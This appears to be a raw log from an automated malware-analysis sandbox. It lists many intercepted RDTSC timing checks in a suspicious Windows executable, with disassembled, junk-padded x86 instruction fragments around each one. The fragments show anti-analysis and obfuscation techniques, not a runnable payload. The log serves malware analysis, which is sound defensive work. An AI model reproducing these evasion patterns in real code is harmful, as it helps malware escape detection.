Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05D3 second address: 4CE05EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BE4C45h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE05EC second address: 4CE060F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FF7B4BDD228h 0x0000000e jmp 00007FF7B4BDD20Dh 0x00000013 add eax, ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 movzx eax, di 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD022E second address: 4CD029D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 call 00007FF7B4BE4C47h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007FF7B4BE4C3Fh 0x00000015 sub esp, 2Ch 0x00000018 pushad 0x00000019 mov ebx, esi 0x0000001b pushfd 0x0000001c jmp 00007FF7B4BE4C40h 0x00000021 or cx, 0FE8h 0x00000026 jmp 00007FF7B4BE4C3Bh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FF7B4BE4C40h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD029D second address: 4CD02AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02AC second address: 4CD0315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 jmp 00007FF7B4BE4C40h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 movsx ebx, cx 0x00000014 pushfd 0x00000015 jmp 00007FF7B4BE4C48h 0x0000001a and eax, 474ED708h 0x00000020 jmp 00007FF7B4BE4C3Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov eax, 7E24897Fh 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e pushad 0x0000002f movzx eax, dx 0x00000032 mov dx, F050h 0x00000036 popad 0x00000037 push esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FF7B4BE4C3Bh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0315 second address: 4CD031B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD031B second address: 4CD031F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD03A6 second address: 4CD0429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edi, 00000000h 0x0000000f jmp 00007FF7B4BDD214h 0x00000014 inc ebx 0x00000015 pushad 0x00000016 pushad 0x00000017 push esi 0x00000018 pop edx 0x00000019 movzx ecx, di 0x0000001c popad 0x0000001d movsx edx, si 0x00000020 popad 0x00000021 test al, al 0x00000023 jmp 00007FF7B4BDD20Ch 0x00000028 je 00007FF7B4BDD40Ah 0x0000002e jmp 00007FF7B4BDD210h 0x00000033 lea ecx, dword ptr [ebp-14h] 0x00000036 jmp 00007FF7B4BDD210h 0x0000003b mov dword ptr [ebp-14h], edi 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FF7B4BDD217h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0487 second address: 4CD0495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0495 second address: 4CD049B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD049B second address: 4CD0509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF7B4BE4C43h 0x00000015 add ecx, 022E07CEh 0x0000001b jmp 00007FF7B4BE4C49h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FF7B4BE4C40h 0x00000027 or si, 4848h 0x0000002c jmp 00007FF7B4BE4C3Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0509 second address: 4CD050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD050F second address: 4CD0513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0546 second address: 4CD055D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 6E273325h 0x00000009 popad 0x0000000a popad 0x0000000b jg 00007FF82596B141h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD055D second address: 4CD0561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0561 second address: 4CD0565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0565 second address: 4CD056B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD056B second address: 4CD05AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 30h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FF7B4BDD279h 0x00000010 pushad 0x00000011 mov dh, 07h 0x00000013 pushfd 0x00000014 jmp 00007FF7B4BDD212h 0x00000019 adc al, FFFFFF98h 0x0000001c jmp 00007FF7B4BDD20Bh 0x00000021 popfd 0x00000022 popad 0x00000023 cmp dword ptr [ebp-14h], edi 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b push edx 0x0000002c pop esi 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD05AC second address: 4CD05DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FF825972B1Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 call 00007FF7B4BE4C46h 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD05DA second address: 4CD065A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD210h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007FF7B4BDD210h 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FF7B4BDD20Eh 0x0000001b or eax, 246B88E8h 0x00000021 jmp 00007FF7B4BDD20Bh 0x00000026 popfd 0x00000027 mov bh, cl 0x00000029 popad 0x0000002a push esp 0x0000002b pushad 0x0000002c mov edx, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 pushfd 0x00000031 jmp 00007FF7B4BDD218h 0x00000036 and eax, 28B26678h 0x0000003c jmp 00007FF7B4BDD20Bh 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD065A second address: 4CD066A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD066A second address: 4CD0670 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0670 second address: 4CD0684 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 4BC959B5h 0x00000008 mov bl, ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0684 second address: 4CD0688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0688 second address: 4CD0697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0766 second address: 4CD076A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD076A second address: 4CD0770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0770 second address: 4CD0034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD20Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF82596B0D9h 0x0000000f xor eax, eax 0x00000011 jmp 00007FF7B4BB693Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e sub esp, 04h 0x00000021 mov edi, eax 0x00000023 jmp 00007FF7B4BDD202h 0x00000025 cmp edi, 00000000h 0x00000028 setne al 0x0000002b xor ebx, ebx 0x0000002d test al, 01h 0x0000002f jne 00007FF7B4BDD207h 0x00000031 jmp 00007FF7B4BDD338h 0x00000036 call 00007FF7B955E8D2h 0x0000003b mov edi, edi 0x0000003d jmp 00007FF7B4BDD210h 0x00000042 xchg eax, ebp 0x00000043 jmp 00007FF7B4BDD210h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FF7B4BDD20Eh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0034 second address: 4CD005B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BE4C3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF7B4BE4C45h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD005B second address: 4CD010F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF7B4BDD217h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FF7B4BDD219h 0x0000000f adc si, 02C6h 0x00000014 jmp 00007FF7B4BDD211h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f jmp 00007FF7B4BDD20Eh 0x00000024 xchg eax, ecx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FF7B4BDD20Eh 0x0000002c sub ah, FFFFFF98h 0x0000002f jmp 00007FF7B4BDD20Bh 0x00000034 popfd 0x00000035 movzx eax, di 0x00000038 popad 0x00000039 push eax 0x0000003a jmp 00007FF7B4BDD212h 0x0000003f xchg eax, ecx 0x00000040 jmp 00007FF7B4BDD210h 0x00000045 mov dword ptr [ebp-04h], 55534552h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD010F second address: 4CD0113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0113 second address: 4CD0117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0117 second address: 4CD011D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD011D second address: 4CD0123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0147 second address: 4CD014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD014C second address: 4CD0152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0152 second address: 4CD0176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF7B4BE4C49h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B0C second address: 4CD0B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 68h 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FF82595B0EEh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF7B4BDD20Fh 0x0000001a add esi, 5DC3F23Eh 0x00000020 jmp 00007FF7B4BDD219h 0x00000025 popfd 0x00000026 mov eax, 6AF6D987h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B56 second address: 4CD0B72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BE4C48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0BA2 second address: 4CD0BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BDD20Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0BB4 second address: 4CD0BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0BB8 second address: 4CD0C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FF7B4BDD209h 0x0000000d jmp 00007FF7B4BDD217h 0x00000012 push eax 0x00000013 pushad 0x00000014 mov si, 83B1h 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop edx 0x00000020 pushad 0x00000021 jmp 00007FF7B4BDD212h 0x00000026 popad 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a pushad 0x0000002b mov al, 2Eh 0x0000002d mov edx, 22C307FCh 0x00000032 popad 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 jmp 00007FF7B4BDD212h 0x0000003c pop eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0C2B second address: 4CD0C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0C2F second address: 4CD0C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0C35 second address: 4CD0C3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0C3A second address: 4CD0CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007FF825962137h 0x0000000c push 75A52B70h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov eax, dword ptr [esp+10h] 0x0000001c mov dword ptr [esp+10h], ebp 0x00000020 lea ebp, dword ptr [esp+10h] 0x00000024 sub esp, eax 0x00000026 push ebx 0x00000027 push esi 0x00000028 push edi 0x00000029 mov eax, dword ptr [75AB4538h] 0x0000002e xor dword ptr [ebp-04h], eax 0x00000031 xor eax, ebp 0x00000033 push eax 0x00000034 mov dword ptr [ebp-18h], esp 0x00000037 push dword ptr [ebp-08h] 0x0000003a mov eax, dword ptr [ebp-04h] 0x0000003d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000044 mov dword ptr [ebp-08h], eax 0x00000047 lea eax, dword ptr [ebp-10h] 0x0000004a mov dword ptr fs:[00000000h], eax 0x00000050 ret 0x00000051 jmp 00007FF7B4BDD20Ah 0x00000056 sub esi, esi 0x00000058 pushad 0x00000059 call 00007FF7B4BDD217h 0x0000005e pushfd 0x0000005f jmp 00007FF7B4BDD218h 0x00000064 adc ecx, 4BA16F08h 0x0000006a jmp 00007FF7B4BDD20Bh 0x0000006f popfd 0x00000070 pop esi 0x00000071 jmp 00007FF7B4BDD219h 0x00000076 popad 0x00000077 mov dword ptr [ebp-1Ch], esi 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007FF7B4BDD20Dh 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0CE8 second address: 4CD0CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0CEC second address: 4CD0D07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0D07 second address: 4CD0D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF7B4BE4C44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE09AF second address: 4CE09B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE09B3 second address: 4CE09B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE09B9 second address: 4CE09BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE09BF second address: 4CE09C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE09C3 second address: 4CE0A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF7B4BDD216h 0x00000012 or eax, 44C74EC8h 0x00000018 jmp 00007FF7B4BDD20Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FF7B4BDD218h 0x00000024 adc cl, 00000028h 0x00000027 jmp 00007FF7B4BDD20Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0A21 second address: 4CE0AA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FF7B4BE4C43h 0x00000010 xor ecx, 213D4B1Eh 0x00000016 jmp 00007FF7B4BE4C49h 0x0000001b popfd 0x0000001c mov edx, esi 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007FF7B4BE4C3Ah 0x00000026 xchg eax, esi 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FF7B4BE4C3Eh 0x0000002e adc esi, 2CF57848h 0x00000034 jmp 00007FF7B4BE4C3Bh 0x00000039 popfd 0x0000003a mov ch, 93h 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FF7B4BE4C41h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0C0F second address: 4CE0C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5DD29 second address: 5E5DD36 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF7B4BE4C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCB294 second address: 5FCB298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE1D72 second address: 5FE1D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE1D76 second address: 5FE1D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE1F00 second address: 5FE1F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE20B8 second address: 5FE20D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF7B4BDD214h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE20D0 second address: 5FE2105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FF7B4BE4C3Fh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF7B4BE4C47h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE23E8 second address: 5FE23EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE4E86 second address: 5FE4EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007FF7B4BE4C38h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 sub edx, 7E9003DDh 0x00000029 push 00000000h 0x0000002b js 00007FF7B4BE4C44h 0x00000031 or dword ptr [ebp+122D2D2Bh], edi 0x00000037 push 17CB2920h 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FF7B4BE4C3Ah 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE4EDE second address: 5FE4F39 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF7B4BDD208h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 17CB29A0h 0x00000011 mov esi, dword ptr [ebp+122D38D5h] 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FF7B4BDD208h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 add dword ptr [ebp+122D1E58h], ecx 0x00000039 push 00000000h 0x0000003b add edx, 2AEF12F7h 0x00000041 push 00000003h 0x00000043 clc 0x00000044 push F1685A18h 0x00000049 push esi 0x0000004a push eax 0x0000004b push edx 0x0000004c jbe 00007FF7B4BDD206h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE4FFA second address: 5FE5063 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FF7B4BE4C38h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2A4Fh], eax 0x0000002a jc 00007FF7B4BE4C37h 0x00000030 cld 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007FF7B4BE4C38h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d mov esi, dword ptr [ebp+122D3BA5h] 0x00000053 push 69EDE0CBh 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE5063 second address: 5FE5067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
